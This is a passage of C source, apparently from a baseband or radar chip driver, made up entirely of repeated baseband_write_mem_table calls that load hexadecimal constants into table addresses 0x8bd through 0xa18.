baseband_write_mem_table(NULL, (uint32_t)0x8bd, (uint32_t)0x5aad696);
baseband_write_mem_table(NULL, (uint32_t)0x8be, (uint32_t)0xdb1a15c);
baseband_write_mem_table(NULL, (uint32_t)0x8bf, (uint32_t)0xe438bd7);
baseband_write_mem_table(NULL, (uint32_t)0x8c0, (uint32_t)0xc93ff04);
baseband_write_mem_table(NULL, (uint32_t)0x8c1, (uint32_t)0x5dd55c4);
baseband_write_mem_table(NULL, (uint32_t)0x8c2, (uint32_t)0xd86a192);
baseband_write_mem_table(NULL, (uint32_t)0x8c3, (uint32_t)0xe4b4bea);
baseband_write_mem_table(NULL, (uint32_t)0x8c4, (uint32_t)0xc91bfab);
baseband_write_mem_table(NULL, (uint32_t)0x8c5, (uint32_t)0x60e54e9);
baseband_write_mem_table(NULL, (uint32_t)0x8c6, (uint32_t)0xd5b61cc);
baseband_write_mem_table(NULL, (uint32_t)0x8c7, (uint32_t)0xe538bfc);
baseband_write_mem_table(NULL, (uint32_t)0x8c8, (uint32_t)0xc918053);
baseband_write_mem_table(NULL, (uint32_t)0x8c9, (uint32_t)0x63d9406);
baseband_write_mem_table(NULL, (uint32_t)0x8ca, (uint32_t)0xd30620b);
baseband_write_mem_table(NULL, (uint32_t)0x8cb, (uint32_t)0xe5b8c0e);
baseband_write_mem_table(NULL, (uint32_t)0x8cc, (uint32_t)0xc93c0fd);
baseband_write_mem_table(NULL, (uint32_t)0x8cd, (uint32_t)0x66b131a);
baseband_write_mem_table(NULL, (uint32_t)0x8ce, (uint32_t)0xd05624d);
baseband_write_mem_table(NULL, (uint32_t)0x8cf, (uint32_t)0xe63cc20);
baseband_write_mem_table(NULL, (uint32_t)0x8d0, (uint32_t)0xc97c1a6);
baseband_write_mem_table(NULL, (uint32_t)0x8d1, (uint32_t)0x696d227);
baseband_write_mem_table(NULL, (uint32_t)0x8d2, (uint32_t)0xcda6294);
baseband_write_mem_table(NULL, (uint32_t)0x8d3, (uint32_t)0xe6c4c31);
baseband_write_mem_table(NULL, (uint32_t)0x8d4, (uint32_t)0xc9e0250);
baseband_write_mem_table(NULL, (uint32_t)0x8d5, (uint32_t)0x6c0512b);
baseband_write_mem_table(NULL, (uint32_t)0x8d6, (uint32_t)0xcafa2e0);
baseband_write_mem_table(NULL, (uint32_t)0x8d7, (uint32_t)0xe748c43);
baseband_write_mem_table(NULL, (uint32_t)0x8d8, (uint32_t)0xca642fa);
baseband_write_mem_table(NULL, (uint32_t)0x8d9, (uint32_t)0x6e7d028);
baseband_write_mem_table(NULL, (uint32_t)0x8da, (uint32_t)0xc852330);
baseband_write_mem_table(NULL, (uint32_t)0x8db, (uint32_t)0xe7d4c54);
baseband_write_mem_table(NULL, (uint32_t)0x8dc, (uint32_t)0xcb0c3a2);
baseband_write_mem_table(NULL, (uint32_t)0x8dd, (uint32_t)0x70d0f1e);
baseband_write_mem_table(NULL, (uint32_t)0x8de, (uint32_t)0xc5ae384);
baseband_write_mem_table(NULL, (uint32_t)0x8df, (uint32_t)0xe85cc64);
baseband_write_mem_table(NULL, (uint32_t)0x8e0, (uint32_t)0xcbd444a);
baseband_write_mem_table(NULL, (uint32_t)0x8e1, (uint32_t)0x7300e0d);
baseband_write_mem_table(NULL, (uint32_t)0x8e2, (uint32_t)0xc30a3dd);
baseband_write_mem_table(NULL, (uint32_t)0x8e3, (uint32_t)0xe8e8c75);
baseband_write_mem_table(NULL, (uint32_t)0x8e4, (uint32_t)0xccc04ef);
baseband_write_mem_table(NULL, (uint32_t)0x8e5, (uint32_t)0x750ccf4);
baseband_write_mem_table(NULL, (uint32_t)0x8e6, (uint32_t)0xc06e43a);
baseband_write_mem_table(NULL, (uint32_t)0x8e7, (uint32_t)0xe978c85);
baseband_write_mem_table(NULL, (uint32_t)0x8e8, (uint32_t)0xcdd0593);
baseband_write_mem_table(NULL, (uint32_t)0x8e9, (uint32_t)0x76ecbd5);
baseband_write_mem_table(NULL, (uint32_t)0x8ea, (uint32_t)0xbdd249c);
baseband_write_mem_table(NULL, (uint32_t)0x8eb, (uint32_t)0xea04c95);
baseband_write_mem_table(NULL, (uint32_t)0x8ec, (uint32_t)0xcf04634);
baseband_write_mem_table(NULL, (uint32_t)0x8ed, (uint32_t)0x78a4ab1);
baseband_write_mem_table(NULL, (uint32_t)0x8ee, (uint32_t)0xbb3e502);
baseband_write_mem_table(NULL, (uint32_t)0x8ef, (uint32_t)0xea98ca4);
baseband_write_mem_table(NULL, (uint32_t)0x8f0, (uint32_t)0xd0586d2);
baseband_write_mem_table(NULL, (uint32_t)0x8f1, (uint32_t)0x7a34986);
baseband_write_mem_table(NULL, (uint32_t)0x8f2, (uint32_t)0xb8b256d);
baseband_write_mem_table(NULL, (uint32_t)0x8f3, (uint32_t)0xeb28cb4);
baseband_write_mem_table(NULL, (uint32_t)0x8f4, (uint32_t)0xd1cc76c);
baseband_write_mem_table(NULL, (uint32_t)0x8f5, (uint32_t)0x7b94856);
baseband_write_mem_table(NULL, (uint32_t)0x8f6, (uint32_t)0xb62a5dc);
baseband_write_mem_table(NULL, (uint32_t)0x8f7, (uint32_t)0xebbccc2);
baseband_write_mem_table(NULL, (uint32_t)0x8f8, (uint32_t)0xd364802);
baseband_write_mem_table(NULL, (uint32_t)0x8f9, (uint32_t)0x7cc8721);
baseband_write_mem_table(NULL, (uint32_t)0x8fa, (uint32_t)0xb3aa650);
baseband_write_mem_table(NULL, (uint32_t)0x8fb, (uint32_t)0xec50cd1);
baseband_write_mem_table(NULL, (uint32_t)0x8fc, (uint32_t)0xd51c893);
baseband_write_mem_table(NULL, (uint32_t)0x8fd, (uint32_t)0x7dcc5e7);
baseband_write_mem_table(NULL, (uint32_t)0x8fe, (uint32_t)0xb1326c9);
baseband_write_mem_table(NULL, (uint32_t)0x8ff, (uint32_t)0xece8cdf);
baseband_write_mem_table(NULL, (uint32_t)0x900, (uint32_t)0xd6f491f);
baseband_write_mem_table(NULL, (uint32_t)0x901, (uint32_t)0x7ea44a9);
baseband_write_mem_table(NULL, (uint32_t)0x902, (uint32_t)0xaec2746);
baseband_write_mem_table(NULL, (uint32_t)0x903, (uint32_t)0xed80ced);
baseband_write_mem_table(NULL, (uint32_t)0x904, (uint32_t)0xd8ec9a6);
baseband_write_mem_table(NULL, (uint32_t)0x905, (uint32_t)0x7f44368);
baseband_write_mem_table(NULL, (uint32_t)0x906, (uint32_t)0xac5e7c7);
baseband_write_mem_table(NULL, (uint32_t)0x907, (uint32_t)0xee1ccfb);
baseband_write_mem_table(NULL, (uint32_t)0x908, (uint32_t)0xdb04a26);
baseband_write_mem_table(NULL, (uint32_t)0x909, (uint32_t)0x7fb8223);
baseband_write_mem_table(NULL, (uint32_t)0x90a, (uint32_t)0xaa0284d);
baseband_write_mem_table(NULL, (uint32_t)0x90b, (uint32_t)0xeeb8d08);
baseband_write_mem_table(NULL, (uint32_t)0x90c, (uint32_t)0xdd38aa0);
baseband_write_mem_table(NULL, (uint32_t)0x90d, (uint32_t)0x7ff40dc);
baseband_write_mem_table(NULL, (uint32_t)0x90e, (uint32_t)0xa7ae8d7);
baseband_write_mem_table(NULL, (uint32_t)0x90f, (uint32_t)0xef54d15);
baseband_write_mem_table(NULL, (uint32_t)0x910, (uint32_t)0xdf88b13);
baseband_write_mem_table(NULL, (uint32_t)0x911, (uint32_t)0x7ffff93);
baseband_write_mem_table(NULL, (uint32_t)0x912, (uint32_t)0xa566966);
baseband_write_mem_table(NULL, (uint32_t)0x913, (uint32_t)0xeff0d21);
baseband_write_mem_table(NULL, (uint32_t)0x914, (uint32_t)0xe1f4b7e);
baseband_write_mem_table(NULL, (uint32_t)0x915, (uint32_t)0x7fd3e48);
baseband_write_mem_table(NULL, (uint32_t)0x916, (uint32_t)0xa32a9f9);
baseband_write_mem_table(NULL, (uint32_t)0x917, (uint32_t)0xf090d2d);
baseband_write_mem_table(NULL, (uint32_t)0x918, (uint32_t)0xe47cbe1);
baseband_write_mem_table(NULL, (uint32_t)0x919, (uint32_t)0x7f73cfc);
baseband_write_mem_table(NULL, (uint32_t)0x91a, (uint32_t)0xa0f6a91);
baseband_write_mem_table(NULL, (uint32_t)0x91b, (uint32_t)0xf130d38);
baseband_write_mem_table(NULL, (uint32_t)0x91c, (uint32_t)0xe718c3c);
baseband_write_mem_table(NULL, (uint32_t)0x91d, (uint32_t)0x7ed7baf);
baseband_write_mem_table(NULL, (uint32_t)0x91e, (uint32_t)0x9ed2b2c);
baseband_write_mem_table(NULL, (uint32_t)0x91f, (uint32_t)0xf1d4d44);
baseband_write_mem_table(NULL, (uint32_t)0x920, (uint32_t)0xe9ccc8e);
baseband_write_mem_table(NULL, (uint32_t)0x921, (uint32_t)0x7e07a63);
baseband_write_mem_table(NULL, (uint32_t)0x922, (uint32_t)0x9cbebcd);
baseband_write_mem_table(NULL, (uint32_t)0x923, (uint32_t)0xf278d4e);
baseband_write_mem_table(NULL, (uint32_t)0x924, (uint32_t)0xec94cd7);
baseband_write_mem_table(NULL, (uint32_t)0x925, (uint32_t)0x7cff917);
baseband_write_mem_table(NULL, (uint32_t)0x926, (uint32_t)0x9ab2c71);
baseband_write_mem_table(NULL, (uint32_t)0x927, (uint32_t)0xf31cd58);
baseband_write_mem_table(NULL, (uint32_t)0x928, (uint32_t)0xef70d17);
baseband_write_mem_table(NULL, (uint32_t)0x929, (uint32_t)0x7bbf7cd);
baseband_write_mem_table(NULL, (uint32_t)0x92a, (uint32_t)0x98bad19);
baseband_write_mem_table(NULL, (uint32_t)0x92b, (uint32_t)0xf3c4d62);
baseband_write_mem_table(NULL, (uint32_t)0x92c, (uint32_t)0xf25cd4c);
baseband_write_mem_table(NULL, (uint32_t)0x92d, (uint32_t)0x7a43685);
baseband_write_mem_table(NULL, (uint32_t)0x92e, (uint32_t)0x96cedc6);
baseband_write_mem_table(NULL, (uint32_t)0x92f, (uint32_t)0xf46cd6c);
baseband_write_mem_table(NULL, (uint32_t)0x930, (uint32_t)0xf554d78);
baseband_write_mem_table(NULL, (uint32_t)0x931, (uint32_t)0x789353f);
baseband_write_mem_table(NULL, (uint32_t)0x932, (uint32_t)0x94f2e76);
baseband_write_mem_table(NULL, (uint32_t)0x933, (uint32_t)0xf514d74);
baseband_write_mem_table(NULL, (uint32_t)0x934, (uint32_t)0xf85cd98);
baseband_write_mem_table(NULL, (uint32_t)0x935, (uint32_t)0x76a73fd);
baseband_write_mem_table(NULL, (uint32_t)0x936, (uint32_t)0x9326f2b);
baseband_write_mem_table(NULL, (uint32_t)0x937, (uint32_t)0xf5c0d7d);
baseband_write_mem_table(NULL, (uint32_t)0x938, (uint32_t)0xfb6cdae);
baseband_write_mem_table(NULL, (uint32_t)0x939, (uint32_t)0x74832bf);
baseband_write_mem_table(NULL, (uint32_t)0x93a, (uint32_t)0x916afe3);
baseband_write_mem_table(NULL, (uint32_t)0x93b, (uint32_t)0xf66cd85);
baseband_write_mem_table(NULL, (uint32_t)0x93c, (uint32_t)0xfe84db9);
baseband_write_mem_table(NULL, (uint32_t)0x93d, (uint32_t)0x7227185);
baseband_write_mem_table(NULL, (uint32_t)0x93e, (uint32_t)0x8fc309f);
baseband_write_mem_table(NULL, (uint32_t)0x93f, (uint32_t)0xf718d8c);
baseband_write_mem_table(NULL, (uint32_t)0x940, (uint32_t)0x1a0db9);
baseband_write_mem_table(NULL, (uint32_t)0x941, (uint32_t)0x6f93050);
baseband_write_mem_table(NULL, (uint32_t)0x942, (uint32_t)0x8e2f15e);
baseband_write_mem_table(NULL, (uint32_t)0x943, (uint32_t)0xf7c4d93);
baseband_write_mem_table(NULL, (uint32_t)0x944, (uint32_t)0x4bcdad);
baseband_write_mem_table(NULL, (uint32_t)0x945, (uint32_t)0x6cc6f22);
baseband_write_mem_table(NULL, (uint32_t)0x946, (uint32_t)0x8ca7221);
baseband_write_mem_table(NULL, (uint32_t)0x947, (uint32_t)0xf874d99);
baseband_write_mem_table(NULL, (uint32_t)0x948, (uint32_t)0x7dcd96);
baseband_write_mem_table(NULL, (uint32_t)0x949, (uint32_t)0x69c6dfa);
baseband_write_mem_table(NULL, (uint32_t)0x94a, (uint32_t)0x8b372e8);
baseband_write_mem_table(NULL, (uint32_t)0x94b, (uint32_t)0xf924d9f);
baseband_write_mem_table(NULL, (uint32_t)0x94c, (uint32_t)0xaf8d74);
baseband_write_mem_table(NULL, (uint32_t)0x94d, (uint32_t)0x668ecd9);
baseband_write_mem_table(NULL, (uint32_t)0x94e, (uint32_t)0x89db3b2);
baseband_write_mem_table(NULL, (uint32_t)0x94f, (uint32_t)0xf9d8da4);
baseband_write_mem_table(NULL, (uint32_t)0x950, (uint32_t)0xe0cd45);
baseband_write_mem_table(NULL, (uint32_t)0x951, (uint32_t)0x631ebc0);
baseband_write_mem_table(NULL, (uint32_t)0x952, (uint32_t)0x889347f);
baseband_write_mem_table(NULL, (uint32_t)0x953, (uint32_t)0xfa88da9);
baseband_write_mem_table(NULL, (uint32_t)0x954, (uint32_t)0x111cd0c);
baseband_write_mem_table(NULL, (uint32_t)0x955, (uint32_t)0x5f7eab0);
baseband_write_mem_table(NULL, (uint32_t)0x956, (uint32_t)0x875f54f);
baseband_write_mem_table(NULL, (uint32_t)0x957, (uint32_t)0xfb3cdad);
baseband_write_mem_table(NULL, (uint32_t)0x958, (uint32_t)0x141ccc6);
baseband_write_mem_table(NULL, (uint32_t)0x959, (uint32_t)0x5baa9a9);
baseband_write_mem_table(NULL, (uint32_t)0x95a, (uint32_t)0x863f622);
baseband_write_mem_table(NULL, (uint32_t)0x95b, (uint32_t)0xfbf0db1);
baseband_write_mem_table(NULL, (uint32_t)0x95c, (uint32_t)0x1710c75);
baseband_write_mem_table(NULL, (uint32_t)0x95d, (uint32_t)0x57a28ac);
baseband_write_mem_table(NULL, (uint32_t)0x95e, (uint32_t)0x85376f8);
baseband_write_mem_table(NULL, (uint32_t)0x95f, (uint32_t)0xfca4db4);
baseband_write_mem_table(NULL, (uint32_t)0x960, (uint32_t)0x19f4c19);
baseband_write_mem_table(NULL, (uint32_t)0x961, (uint32_t)0x536a7ba);
baseband_write_mem_table(NULL, (uint32_t)0x962, (uint32_t)0x84477d1);
baseband_write_mem_table(NULL, (uint32_t)0x963, (uint32_t)0xfd5cdb6);
baseband_write_mem_table(NULL, (uint32_t)0x964, (uint32_t)0x1cc0bb2);
baseband_write_mem_table(NULL, (uint32_t)0x965, (uint32_t)0x4f066d3);
baseband_write_mem_table(NULL, (uint32_t)0x966, (uint32_t)0x836b8ac);
baseband_write_mem_table(NULL, (uint32_t)0x967, (uint32_t)0xfe14db8);
baseband_write_mem_table(NULL, (uint32_t)0x968, (uint32_t)0x1f78b40);
baseband_write_mem_table(NULL, (uint32_t)0x969, (uint32_t)0x4a725f8);
baseband_write_mem_table(NULL, (uint32_t)0x96a, (uint32_t)0x82a7989);
baseband_write_mem_table(NULL, (uint32_t)0x96b, (uint32_t)0xfeccdba);
baseband_write_mem_table(NULL, (uint32_t)0x96c, (uint32_t)0x2218ac3);
baseband_write_mem_table(NULL, (uint32_t)0x96d, (uint32_t)0x45b6529);
baseband_write_mem_table(NULL, (uint32_t)0x96e, (uint32_t)0x81fba69);
baseband_write_mem_table(NULL, (uint32_t)0x96f, (uint32_t)0xff84dba);
baseband_write_mem_table(NULL, (uint32_t)0x970, (uint32_t)0x249ca3c);
baseband_write_mem_table(NULL, (uint32_t)0x971, (uint32_t)0x40ce467);
baseband_write_mem_table(NULL, (uint32_t)0x972, (uint32_t)0x8167b4a);
baseband_write_mem_table(NULL, (uint32_t)0x973, (uint32_t)0x3cdba);
baseband_write_mem_table(NULL, (uint32_t)0x974, (uint32_t)0x26fc9ab);
baseband_write_mem_table(NULL, (uint32_t)0x975, (uint32_t)0x3bc23b3);
baseband_write_mem_table(NULL, (uint32_t)0x976, (uint32_t)0x80efc2e);
baseband_write_mem_table(NULL, (uint32_t)0x977, (uint32_t)0xf8dba);
baseband_write_mem_table(NULL, (uint32_t)0x978, (uint32_t)0x2940910);
baseband_write_mem_table(NULL, (uint32_t)0x979, (uint32_t)0x368e30d);
baseband_write_mem_table(NULL, (uint32_t)0x97a, (uint32_t)0x808bd13);
baseband_write_mem_table(NULL, (uint32_t)0x97b, (uint32_t)0x1b4db9);
baseband_write_mem_table(NULL, (uint32_t)0x97c, (uint32_t)0x2b5c86d);
baseband_write_mem_table(NULL, (uint32_t)0x97d, (uint32_t)0x313a276);
baseband_write_mem_table(NULL, (uint32_t)0x97e, (uint32_t)0x8043df9);
baseband_write_mem_table(NULL, (uint32_t)0x97f, (uint32_t)0x270db7);
baseband_write_mem_table(NULL, (uint32_t)0x980, (uint32_t)0x2d547c0);
baseband_write_mem_table(NULL, (uint32_t)0x981, (uint32_t)0x2bc61ee);
baseband_write_mem_table(NULL, (uint32_t)0x982, (uint32_t)0x8017ee1);
baseband_write_mem_table(NULL, (uint32_t)0x983, (uint32_t)0x32cdb5);
baseband_write_mem_table(NULL, (uint32_t)0x984, (uint32_t)0x2f2070c);
baseband_write_mem_table(NULL, (uint32_t)0x985, (uint32_t)0x2636175);
baseband_write_mem_table(NULL, (uint32_t)0x986, (uint32_t)0x8003fca);
baseband_write_mem_table(NULL, (uint32_t)0x987, (uint32_t)0x3e8db2);
baseband_write_mem_table(NULL, (uint32_t)0x988, (uint32_t)0x30c4651);
baseband_write_mem_table(NULL, (uint32_t)0x989, (uint32_t)0x208a10d);
baseband_write_mem_table(NULL, (uint32_t)0x98a, (uint32_t)0x80080b4);
baseband_write_mem_table(NULL, (uint32_t)0x98b, (uint32_t)0x4a4dae);
baseband_write_mem_table(NULL, (uint32_t)0x98c, (uint32_t)0x323858e);
baseband_write_mem_table(NULL, (uint32_t)0x98d, (uint32_t)0x1aca0b5);
baseband_write_mem_table(NULL, (uint32_t)0x98e, (uint32_t)0x802c19f);
baseband_write_mem_table(NULL, (uint32_t)0x98f, (uint32_t)0x564daa);
baseband_write_mem_table(NULL, (uint32_t)0x990, (uint32_t)0x337c4c6);
baseband_write_mem_table(NULL, (uint32_t)0x991, (uint32_t)0x14f206e);
baseband_write_mem_table(NULL, (uint32_t)0x992, (uint32_t)0x806828a);
baseband_write_mem_table(NULL, (uint32_t)0x993, (uint32_t)0x620da5);
baseband_write_mem_table(NULL, (uint32_t)0x994, (uint32_t)0x34903f8);
baseband_write_mem_table(NULL, (uint32_t)0x995, (uint32_t)0xf0a039);
baseband_write_mem_table(NULL, (uint32_t)0x996, (uint32_t)0x80c0376);
baseband_write_mem_table(NULL, (uint32_t)0x997, (uint32_t)0x6e0d9f);
baseband_write_mem_table(NULL, (uint32_t)0x998, (uint32_t)0x3574326);
baseband_write_mem_table(NULL, (uint32_t)0x999, (uint32_t)0x916015);
baseband_write_mem_table(NULL, (uint32_t)0x99a, (uint32_t)0x8134461);
baseband_write_mem_table(NULL, (uint32_t)0x99b, (uint32_t)0x7a0d99);
baseband_write_mem_table(NULL, (uint32_t)0x99c, (uint32_t)0x362024f);
baseband_write_mem_table(NULL, (uint32_t)0x99d, (uint32_t)0x316002);
baseband_write_mem_table(NULL, (uint32_t)0x99e, (uint32_t)0x81c454d);
baseband_write_mem_table(NULL, (uint32_t)0x99f, (uint32_t)0x860d91);
baseband_write_mem_table(NULL, (uint32_t)0x9a0, (uint32_t)0x369c176);
baseband_write_mem_table(NULL, (uint32_t)0x9a1, (uint32_t)0xfd12002);
baseband_write_mem_table(NULL, (uint32_t)0x9a2, (uint32_t)0x8270638);
baseband_write_mem_table(NULL, (uint32_t)0x9a3, (uint32_t)0x920d8a);
baseband_write_mem_table(NULL, (uint32_t)0x9a4, (uint32_t)0x36dc09a);
baseband_write_mem_table(NULL, (uint32_t)0x9a5, (uint32_t)0xf706014);
baseband_write_mem_table(NULL, (uint32_t)0x9a6, (uint32_t)0x8338723);
baseband_write_mem_table(NULL, (uint32_t)0x9a7, (uint32_t)0x9e0d81);
baseband_write_mem_table(NULL, (uint32_t)0x9a8, (uint32_t)0x36ebfbd);
baseband_write_mem_table(NULL, (uint32_t)0x9a9, (uint32_t)0xf0fe039);
baseband_write_mem_table(NULL, (uint32_t)0x9aa, (uint32_t)0x841c80d);
baseband_write_mem_table(NULL, (uint32_t)0x9ab, (uint32_t)0xaa0d78);
baseband_write_mem_table(NULL, (uint32_t)0x9ac, (uint32_t)0x36bfee0);
baseband_write_mem_table(NULL, (uint32_t)0x9ad, (uint32_t)0xeaf6070);
baseband_write_mem_table(NULL, (uint32_t)0x9ae, (uint32_t)0x85208f6);
baseband_write_mem_table(NULL, (uint32_t)0x9af, (uint32_t)0xb60d6e);
baseband_write_mem_table(NULL, (uint32_t)0x9b0, (uint32_t)0x3657e03);
baseband_write_mem_table(NULL, (uint32_t)0x9b1, (uint32_t)0xe4f60b9);
baseband_write_mem_table(NULL, (uint32_t)0x9b2, (uint32_t)0x863c9dd);
baseband_write_mem_table(NULL, (uint32_t)0x9b3, (uint32_t)0xc20d64);
baseband_write_mem_table(NULL, (uint32_t)0x9b4, (uint32_t)0x35bbd27);
baseband_write_mem_table(NULL, (uint32_t)0x9b5, (uint32_t)0xdf02115);
baseband_write_mem_table(NULL, (uint32_t)0x9b6, (uint32_t)0x8774ac4);
baseband_write_mem_table(NULL, (uint32_t)0x9b7, (uint32_t)0xce0d59);
baseband_write_mem_table(NULL, (uint32_t)0x9b8, (uint32_t)0x34e7c4d);
baseband_write_mem_table(NULL, (uint32_t)0x9b9, (uint32_t)0xd91a184);
baseband_write_mem_table(NULL, (uint32_t)0x9ba, (uint32_t)0x88ccba8);
baseband_write_mem_table(NULL, (uint32_t)0x9bb, (uint32_t)0xda0d4d);
baseband_write_mem_table(NULL, (uint32_t)0x9bc, (uint32_t)0x33d7b77);
baseband_write_mem_table(NULL, (uint32_t)0x9bd, (uint32_t)0xd346205);
baseband_write_mem_table(NULL, (uint32_t)0x9be, (uint32_t)0x8a3cc8b);
baseband_write_mem_table(NULL, (uint32_t)0x9bf, (uint32_t)0xe60d40);
baseband_write_mem_table(NULL, (uint32_t)0x9c0, (uint32_t)0x3293aa5);
baseband_write_mem_table(NULL, (uint32_t)0x9c1, (uint32_t)0xcd86298);
baseband_write_mem_table(NULL, (uint32_t)0x9c2, (uint32_t)0x8bccd6b);
baseband_write_mem_table(NULL, (uint32_t)0x9c3, (uint32_t)0xf20d33);
baseband_write_mem_table(NULL, (uint32_t)0x9c4, (uint32_t)0x31179d8);
baseband_write_mem_table(NULL, (uint32_t)0x9c5, (uint32_t)0xc7e233d);
baseband_write_mem_table(NULL, (uint32_t)0x9c6, (uint32_t)0x8d78e49);
baseband_write_mem_table(NULL, (uint32_t)0x9c7, (uint32_t)0xfe0d25);
baseband_write_mem_table(NULL, (uint32_t)0x9c8, (uint32_t)0x2f67911);
baseband_write_mem_table(NULL, (uint32_t)0x9c9, (uint32_t)0xc25e3f5);
baseband_write_mem_table(NULL, (uint32_t)0x9ca, (uint32_t)0x8f3cf24);
baseband_write_mem_table(NULL, (uint32_t)0x9cb, (uint32_t)0x10a0d16);
baseband_write_mem_table(NULL, (uint32_t)0x9cc, (uint32_t)0x2d83850);
baseband_write_mem_table(NULL, (uint32_t)0x9cd, (uint32_t)0xbcf64be);
baseband_write_mem_table(NULL, (uint32_t)0x9ce, (uint32_t)0x9120ffd);
baseband_write_mem_table(NULL, (uint32_t)0x9cf, (uint32_t)0x1160d06);
baseband_write_mem_table(NULL, (uint32_t)0x9d0, (uint32_t)0x2b6b797);
baseband_write_mem_table(NULL, (uint32_t)0x9d1, (uint32_t)0xb7b6598);
baseband_write_mem_table(NULL, (uint32_t)0x9d2, (uint32_t)0x931d0d2);
baseband_write_mem_table(NULL, (uint32_t)0x9d3, (uint32_t)0x121ccf6);
baseband_write_mem_table(NULL, (uint32_t)0x9d4, (uint32_t)0x29236e7);
baseband_write_mem_table(NULL, (uint32_t)0x9d5, (uint32_t)0xb29e683);
baseband_write_mem_table(NULL, (uint32_t)0x9d6, (uint32_t)0x95351a4);
baseband_write_mem_table(NULL, (uint32_t)0x9d7, (uint32_t)0x12dcce5);
baseband_write_mem_table(NULL, (uint32_t)0x9d8, (uint32_t)0x26af640);
baseband_write_mem_table(NULL, (uint32_t)0x9d9, (uint32_t)0xadb277e);
baseband_write_mem_table(NULL, (uint32_t)0x9da, (uint32_t)0x9769273);
baseband_write_mem_table(NULL, (uint32_t)0x9db, (uint32_t)0x1398cd3);
baseband_write_mem_table(NULL, (uint32_t)0x9dc, (uint32_t)0x240b5a4);
baseband_write_mem_table(NULL, (uint32_t)0x9dd, (uint32_t)0xa8f688a);
baseband_write_mem_table(NULL, (uint32_t)0x9de, (uint32_t)0x99b933d);
baseband_write_mem_table(NULL, (uint32_t)0x9df, (uint32_t)0x1458cc1);
baseband_write_mem_table(NULL, (uint32_t)0x9e0, (uint32_t)0x213f512);
baseband_write_mem_table(NULL, (uint32_t)0x9e1, (uint32_t)0xa46e9a5);
baseband_write_mem_table(NULL, (uint32_t)0x9e2, (uint32_t)0x9c21404);
baseband_write_mem_table(NULL, (uint32_t)0x9e3, (uint32_t)0x1514cad);
baseband_write_mem_table(NULL, (uint32_t)0x9e4, (uint32_t)0x1e4b48c);
baseband_write_mem_table(NULL, (uint32_t)0x9e5, (uint32_t)0xa01aacf);
baseband_write_mem_table(NULL, (uint32_t)0x9e6, (uint32_t)0x9ea54c6);
baseband_write_mem_table(NULL, (uint32_t)0x9e7, (uint32_t)0x15d0c99);
baseband_write_mem_table(NULL, (uint32_t)0x9e8, (uint32_t)0x1b37413);
baseband_write_mem_table(NULL, (uint32_t)0x9e9, (uint32_t)0x9c02c07);
baseband_write_mem_table(NULL, (uint32_t)0x9ea, (uint32_t)0xa141584);
baseband_write_mem_table(NULL, (uint32_t)0x9eb, (uint32_t)0x168cc85);
baseband_write_mem_table(NULL, (uint32_t)0x9ec, (uint32_t)0x17ff3a6);
baseband_write_mem_table(NULL, (uint32_t)0x9ed, (uint32_t)0x9826d4c);
baseband_write_mem_table(NULL, (uint32_t)0x9ee, (uint32_t)0xa3f563c);
baseband_write_mem_table(NULL, (uint32_t)0x9ef, (uint32_t)0x1748c6f);
baseband_write_mem_table(NULL, (uint32_t)0x9f0, (uint32_t)0x14ab348);
baseband_write_mem_table(NULL, (uint32_t)0x9f1, (uint32_t)0x948ae9f);
baseband_write_mem_table(NULL, (uint32_t)0x9f2, (uint32_t)0xa6c16f0);
baseband_write_mem_table(NULL, (uint32_t)0x9f3, (uint32_t)0x1800c59);
baseband_write_mem_table(NULL, (uint32_t)0x9f4, (uint32_t)0x113f2f7);
baseband_write_mem_table(NULL, (uint32_t)0x9f5, (uint32_t)0x912effd);
baseband_write_mem_table(NULL, (uint32_t)0x9f6, (uint32_t)0xa9a979f);
baseband_write_mem_table(NULL, (uint32_t)0x9f7, (uint32_t)0x18bcc42);
baseband_write_mem_table(NULL, (uint32_t)0x9f8, (uint32_t)0xdbb2b5);
baseband_write_mem_table(NULL, (uint32_t)0x9f9, (uint32_t)0x8e1b167);
baseband_write_mem_table(NULL, (uint32_t)0x9fa, (uint32_t)0xaca5848);
baseband_write_mem_table(NULL, (uint32_t)0x9fb, (uint32_t)0x1974c2a);
baseband_write_mem_table(NULL, (uint32_t)0x9fc, (uint32_t)0xa23282);
baseband_write_mem_table(NULL, (uint32_t)0x9fd, (uint32_t)0x8b4f2db);
baseband_write_mem_table(NULL, (uint32_t)0x9fe, (uint32_t)0xafb98ec);
baseband_write_mem_table(NULL, (uint32_t)0x9ff, (uint32_t)0x1a2cc12);
baseband_write_mem_table(NULL, (uint32_t)0xa00, (uint32_t)0x67f25e);
baseband_write_mem_table(NULL, (uint32_t)0xa01, (uint32_t)0x88cf458);
baseband_write_mem_table(NULL, (uint32_t)0xa02, (uint32_t)0xb2e198a);
baseband_write_mem_table(NULL, (uint32_t)0xa03, (uint32_t)0x1ae0bf9);
baseband_write_mem_table(NULL, (uint32_t)0xa04, (uint32_t)0x2d324a);
baseband_write_mem_table(NULL, (uint32_t)0xa05, (uint32_t)0x86975de);
baseband_write_mem_table(NULL, (uint32_t)0xa06, (uint32_t)0xb621a22);
baseband_write_mem_table(NULL, (uint32_t)0xa07, (uint32_t)0x1b98bdf);
baseband_write_mem_table(NULL, (uint32_t)0xa08, (uint32_t)0xff1f246);
baseband_write_mem_table(NULL, (uint32_t)0xa09, (uint32_t)0x84b376c);
baseband_write_mem_table(NULL, (uint32_t)0xa0a, (uint32_t)0xb975ab3);
baseband_write_mem_table(NULL, (uint32_t)0xa0b, (uint32_t)0x1c4cbc4);
baseband_write_mem_table(NULL, (uint32_t)0xa0c, (uint32_t)0xfb6b252);
baseband_write_mem_table(NULL, (uint32_t)0xa0d, (uint32_t)0x831b901);
baseband_write_mem_table(NULL, (uint32_t)0xa0e, (uint32_t)0xbcddb3e);
baseband_write_mem_table(NULL, (uint32_t)0xa0f, (uint32_t)0x1d00ba9);
baseband_write_mem_table(NULL, (uint32_t)0xa10, (uint32_t)0xf7bb26e);
baseband_write_mem_table(NULL, (uint32_t)0xa11, (uint32_t)0x81d7a9b);
baseband_write_mem_table(NULL, (uint32_t)0xa12, (uint32_t)0xc055bc3);
baseband_write_mem_table(NULL, (uint32_t)0xa13, (uint32_t)0x1db0b8d);
baseband_write_mem_table(NULL, (uint32_t)0xa14, (uint32_t)0xf41329a);
baseband_write_mem_table(NULL, (uint32_t)0xa15, (uint32_t)0x80e7c39);
baseband_write_mem_table(NULL, (uint32_t)0xa16, (uint32_t)0xc3e5c40);
baseband_write_mem_table(NULL, (uint32_t)0xa17, (uint32_t)0x1e60b70);
baseband_write_mem_table(NULL, (uint32_t)0xa18, (uint32_t)0xf0772d5);
